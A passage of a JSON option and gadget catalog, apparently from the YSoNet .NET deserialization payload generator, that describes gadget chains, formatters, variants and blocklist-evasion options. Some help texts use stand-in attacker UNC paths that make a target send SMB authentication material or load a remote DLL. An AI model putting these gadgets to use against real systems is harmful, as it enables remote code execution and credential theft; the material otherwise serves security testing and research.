{"schemaVersion": "1.0", "toolVersion": "v2026.9.2", "scope": {"includePrivate": false, "gadget": null, "plugin": null}, "generatorRequirements": {"operatingSystem": "Windows", "runtime": ".NET Framework 4.7.2 or newer"}, "outputFormats": ["raw", "base64", "raw-urlencode", "base64-urlencode", "hex"], "globalOptions": [{"prototype": "p|plugin=", "aliases": ["p", "plugin"], "description": "The plugin to be used.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "o|output=", "aliases": ["o", "output"], "description": "The output format (raw|base64|raw-urlencode|base64-urlencode|hex).\nSuggested values: raw, base64, raw-urlencode, base64-urlencode, hex.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["raw", "base64", "raw-urlencode", "base64-urlencode", "hex"]}, {"prototype": "g|gadget=", "aliases": ["g", "gadget"], "description": "The gadget chain.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "f|formatter=", "aliases": ["f", "formatter"], "description": "The formatter.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "c|command=", "aliases": ["c", "command"], "description": "The command to be executed.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "rawcmd", "aliases": ["rawcmd"], "description": "Command will be executed as is without `cmd /c ` being appended (anything after first space is an argument).", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "s|stdin", "aliases": ["s", "stdin"], "description": "The command to be executed will be read from standard input (the first line, up to 2,050 bytes). A non-empty -c wins.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "bgc|bridgedgadgetchains=", "aliases": ["bgc", "bridgedgadgetchains"], "description": "Chain of bridged gadgets separated by comma (,). Each gadget will be used to complete the next bridge gadget. The last one will be used in the requested gadget. This will be ignored when using the searchformatter argument.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "t|test", "aliases": ["t", "test"], "description": "Test locally. With --legacyfx, use the separately shipped .NET Framework 3.5 / CLR2 process; otherwise use ysonet's current CLR4 process. Default: false", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "testclr2", "aliases": ["testclr2"], "description": "Test locally in the separately shipped .NET Framework 3.5 / CLR2 process. Supports BinaryFormatter, LosFormatter, and SoapFormatter. Default: false", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "outputpath=", "aliases": ["outputpath"], "description": "The output file path. It will be ignored if empty.", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "minify", "aliases": ["minify"], "description": "Minify payloads where applicable. A gadget may refuse --minify when it would rewrite operator data whose characters or bytes must survive exactly. Default: false", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "ust|usesimpletype", "aliases": ["ust", "usesimpletype"], "description": "This is to remove additional info only when minifying and FormatterAssemblyStyle=Simple (always `true` with `--minify` for binary formatters). Default: true", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "legacyfx", "aliases": ["legacyfx"], "description": "Target the .NET Framework 2.0/3.0/3.5 (CLR v2) generation. The shared transform rewrites framework assembly versions; gadgets that carry source may also use the CLR-v2 compiler, and a gadget may author a type's older assembly identity when it moved between CLR generations. The graph and your input are untouched. It is not proof that every gadget works there. Default: false", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "raf|runallformatters", "aliases": ["raf", "runallformatters"], "description": "Try every listed non denial-of-service gadget whose formatter name contains the given text. Requires -f plus -c or -s, and cannot be combined with -g or -p. Uses each formatter's default output format, ignores -o, -t, and --testclr2, prints payloads with their length, and reports per-payload failures plus a summary on stderr. Default: false", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "sf|searchformatter=", "aliases": ["sf", "searchformatter"], "description": "Search in all formatters to show relevant gadgets and their formatters (other parameters will be ignored).", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "list=", "aliases": ["list"], "description": "Print discovery data and exit (line lists, or JSON for catalog/catalog-schema). Categories: gadgets|plugins|formatters|options|outputs|values|value-options|catalog|catalog-schema. The catalog category emits versioned JSON. Add -g to list that gadget's formatters/options, or -p to list that plugin's options. Useful for shell tab-completion scripts.\nSuggested values: gadgets, plugins, formatters, options, outputs, values, value-options, catalog, catalog-schema.", "valueArity": "required", "metadataDeclared": true, "defaultValue": null, "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["gadgets", "plugins", "formatters", "options", "outputs", "values", "value-options", "catalog", "catalog-schema"]}, {"prototype": "option=", "aliases": ["option"], "description": "Option name whose declared values to print with --list values (combine with -g or -p).", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "category=", "aliases": ["category"], "description": "Find gadgets by category (repeatable): --category=axis=value where axis is kind|formatter|input|requirement|version. Repeat for OR within an axis and AND across axes. A version is an exact runtime build (4.8.1, 5.0, mono) and only lists gadgets recorded as working there. Alone it prints matching gadgets and their categories; with '--list gadgets' it prints matching names only. Example: --category=kind=code-execution --category=formatter=Json.NET", "valueArity": "required", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "debugmode", "aliases": ["debugmode"], "description": "Enable debugging to show exception errors and output length", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "i-understand-dos", "aliases": ["i-understand-dos"], "description": "Acknowledge that a denial-of-service gadget can disrupt or terminate the target process. It is required to generate one and is not needed by any other gadget.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "h|help", "aliases": ["h", "help"], "description": "Show the quick guide or selected-module help and exit.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "fullhelp", "aliases": ["fullhelp"], "description": "Show all gadgets, plugins, and global options, or selected-module help, and exit.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "prv|display-private", "aliases": ["prv", "display-private"], "description": "Also list private gadgets and plugins in --fullhelp, --credit, --list, --sf, --raf, --category and interactive mode. They always build when named on the command line; this only shows them in listings.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "credit", "aliases": ["credit"], "description": "Shows the credit/history of gadgets and plugins (other parameters will be ignored).", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "checkupdate", "aliases": ["checkupdate"], "description": "Check GitHub for a newer YSoNet release and exit.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}, {"prototype": "runmytest", "aliases": ["runmytest"], "description": "Runs that `Start` method of `TestingArenaHome` - useful for testing and debugging.", "valueArity": "none", "metadataDeclared": false, "defaultValue": null, "required": null, "prefillDefault": null, "allowCustom": null, "valueSource": null, "choices": []}], "gadgets": [{"name": "ActivitySurrogateDisableTypeCheck", "description": "Disables 4.8+ type protections for ActivitySurrogateSelector, command is ignored. Variant 1 also takes rootcontainer (1 SortedSet, 2 SortedDictionary, 3 TreeSet) to dodge a SortedSet wire-name blocklist; SoapFormatter supports roots 1 and 3. Variant 1 self-tests in a child, then keeps the setting enabled in this session.", "labels": ["A payload with no new sink, carried by another gadget"], "credit": "[Finders: Nick Landers]", "finders": "Nick Landers", "contributors": "", "commandInput": "Ignored", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Choices: 1 -> use TypeConfuseDelegateGenerator [default], 2 -> use TextFormattingRunPropertiesMarshal\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "rootcontainer=", "aliases": ["rootcontainer"], "description": "Serialized root container of the TypeConfuseDelegate wrapper: 1 -> SortedSet [default], 2 -> SortedDictionary, 3 -> TreeSet. 2 and 3 evade a binder or blocklist that rejects the exact SortedSet wire type name. SoapFormatter supports 1 and 3, not 2. Not used by the TextFormattingRunProperties wrapper (variant 2), which has no container. The (2) formatter annotation counts wrapper variants, not root-container choices.\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": false, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "TypeConfuseDelegate wrapper (default)", "isDefault": true, "commandInput": "Ignored", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "TextFormattingRunProperties wrapper", "isDefault": false, "commandInput": "Ignored", "unsupportedFormatters": [], "unusedOptions": ["rootcontainer"], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["other"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["none"], "requirements": ["built-in", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["other"], "formatters": ["BinaryFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter"], "inputs": ["none"], "requirements": ["extra-assembly", "wpf", "net-framework"], "runtimeVersions": ["net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ActivitySurrogateDisableTypeCheckGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ActivitySurrogateSelector", "description": "This gadget ignores the command parameter and executes the constructor of the bundled ExploitClass class. For a .NET Framework 3.5 target, use --legacyfx with the default variant or variant 3; ysonet compiles the bundled ExploitClass.cs with the CLR-v2 compiler and writes Func delegates against System.Core 3.5. Variant 2 remains 4.x-only; variant 3 selects the larger DataSet carrier.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]", "finders": "James Forshaw", "contributors": "Alvaro Munoz, zcgonvh", "commandInput": "Ignored", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (3)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (3)"}, {"name": "LosFormatter", "declaration": "LosFormatter (3)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number where applicable. Choices: 1 (default), 2 (shorter but may not work between versions), 3 (larger DataSet carrier)\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "new enumerator chain (version-compatible, default)", "isDefault": true, "commandInput": "Ignored", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "old chain (shorter, may not work across versions)", "isDefault": false, "commandInput": "Ignored", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "DataSet root carrier (larger compatibility alternative)", "isDefault": false, "commandInput": "Ignored", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["none"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["none"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["none"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ActivitySurrogateSelectorGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "ActivitySurrogateSelectorFromFile", "description": "Another variant of the ActivitySurrogateSelector gadget. This gadget interprets the command parameter as the path to the .cs file that should be compiled as an exploit class. Put a semicolon before its references and separate multiple references with commas, e.g., '-c MyClass.cs;UsedRef.dll,Ref2.dll'. For a .NET Framework 3.5 target, use --legacyfx with the default variant or variant 3. Variant 2 remains 4.x-only; variant 3 selects the larger DataSet carrier.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Alvaro Munoz, zcgonvh]", "finders": "James Forshaw", "contributors": "Alvaro Munoz, zcgonvh", "commandInput": "CsSourceFile", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (3)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (3)"}, {"name": "LosFormatter", "declaration": "LosFormatter (3)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number where applicable. Choices: 1 (default), 2 (shorter but may not work between versions), 3 (larger DataSet carrier)\nDefault value: \"1\".\nSuggested values: 1, 2, 3.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3"]}], "variants": [{"number": 1, "label": "new enumerator chain (version-compatible, default)", "isDefault": true, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "old chain (shorter, may not work across versions)", "isDefault": false, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "DataSet root carrier (larger compatibility alternative)", "isDefault": false, "commandInput": "CsSourceFile", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["code-execution"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["source-code-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.ActivitySurrogateSelectorFromFileGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "AssemblyCatalogLoad", "description": "MEF AssemblyCatalog(codeBase) opens -c and loads it as an assembly. A UNC path also starts an SMB session, which sends authentication material. The load alone runs no code.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "Soroush Dalili", "commandInput": "DllPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution", "network", "file-system"], "formatters": ["Xaml"], "inputs": ["assembly-file", "unc-path", "target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.AssemblyCatalogLoadGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "AssemblyInstallerLoad", "description": "Loads a DLL you name and runs its [RunInstaller(true)] installers.", "labels": ["Chain of arbitrary getter call", "An independent gadget"], "credit": "[Finders: Alvaro Munoz, Oleksandr Mirosh, Piotr Bazydlo] [Contributors: Soroush Dalili]", "finders": "Alvaro Munoz, Oleksandr Mirosh, Piotr Bazydlo", "contributors": "Soroush Dalili", "commandInput": "DllPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET (2)"}, {"name": "Xaml", "declaration": "Xaml (2)"}, {"name": "FastJson", "declaration": "FastJson (2)"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer (2)"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0 (2)"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary (2)"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml (2)"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless (2)"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4 (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Variant number. It selects what -c must be and what the target has to do to reach the assembly (a .dll or a managed .exe; the sink is Assembly.LoadFrom). Choices: \r\n1 (default) - a path the TARGET can already open, e.g. C:\\programdata\\installer.dll\r\n2 - a UNC path the target fetches over SMB, e.g. \\\\attacker\\share\\installer.dll. The target must be able to reach the share, and .NET only loads an assembly from a share it classifies as Local Intranet; an Internet-zone share (a bare IP is one) needs loadFromRemoteSources=true on the target. The (2) formatter annotation counts these two variants, not the independent --getter choices.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "getter=", "aliases": ["getter"], "description": "Which WinForms getter-call carrier reads AssemblyInstaller.HelpText. Choices: \r\n1 (default) - PropertyGrid (reads every property once; the only carrier every formatter here can build)\r\n2 - ComboBox (reads HelpText several times; the installers are still built once)\r\n3 - ListBox\r\n4 - CheckedListBox\r\n5 - BindingSource (reads HelpText once; a Component with no window, so it suits a headless target)\r\nOnly Json.NET and Xaml can build carriers 2 to 4. Carrier 5 works with Xaml, FastJson, JavaScriptSerializer and both SharpSerializer flavours, but not with Json.NET, YamlDotNet or MessagePack. The (2) formatter annotation counts DLL-path variants, not getter choices.\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4, 5.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": false, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4", "5"]}], "variants": [{"number": 1, "label": "Target-local DLL path (default)", "isDefault": true, "commandInput": "DllPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "UNC DLL path (the target fetches it over SMB)", "isDefault": false, "commandInput": "UncPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["Json.NET", "Xaml", "FastJson", "JavaScriptSerializer", "YamlDotNet", "SharpSerializerBinary", "SharpSerializerXml", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["assembly-file"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["code-execution", "network"], "formatters": ["Json.NET", "Xaml", "FastJson", "JavaScriptSerializer", "YamlDotNet", "SharpSerializerBinary", "SharpSerializerXml", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.AssemblyInstallerLoadGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "AxHostState", "description": "", "labels": ["A bridged gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "Soroush Dalili", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "LosFormatter", "declaration": "LosFormatter"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.AxHostStateGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "BaseActivationFactory", "description": "Gadget for .NET 5/6/7 with WPF enabled or Microsoft.WindowsDesktop.App\\PresentationFramework.dll available. Leads to remote DLL loading (native C/C++ DLL)", "labels": ["An independent gadget", ".NET 5/6/7", "Requires WPF enabled or PresentationFramework.dll"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "DllPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["code-execution"], "formatters": ["Json.NET"], "inputs": ["assembly-file", "unc-path"], "requirements": ["wpf", "modern-dotnet"], "runtimeVersions": ["net-5.0", "net-6.0", "net-7.0"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.BaseActivationFactoryGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "BootstrapperBuilder", "description": "Setting Path makes the target read \\Engine and \\Packages. Any UNC path opens an SMB session to that host. A setup.xml you leave there is parsed with legacy XML defaults.", "labels": ["An independent gadget"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "TargetPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "Xaml", "declaration": "Xaml"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "SharpSerializerBinary", "declaration": "SharpSerializerBinary"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Put -c into the payload template exactly as typed, instead of escaping it for the selected formatter. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against.\r\n\r\nWHAT TO PUT IN -c. Any path the target's file system accepts. The target reads \\Engine and \\Packages, so a bare UNC host works:\r\n \\\\attacker.example.com\r\nwhich the target opens as \\\\attacker.example.com\\Engine. Nothing has to exist on the far end: a missing directory still costs the target the connect.\r\n\r\nTHE SECOND, CONDITIONAL LEG. For each subdirectory of \\Engine the target also XML-parses \\setup.xml if one is there, with the legacy reader defaults - so an external entity in it is resolved on a target application stamped below 4.5.2. That needs you to control the content on the far end of the path as well, so it is not something this payload delivers on its own and no disclosure is claimed for it.\r\n\r\n-t IS ACCEPTED and it deserializes the payload HERE, so THIS machine reads the path you named. Against a UNC path that is your callback, and Windows sends authentication material when it opens an SMB session, so only point it at an endpoint you own. An unreachable UNC host makes -t block until the SMB connect times out.\r\n\r\nWHAT A CALLBACK PROVES. That the target resolved your host and tried to open the path. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], 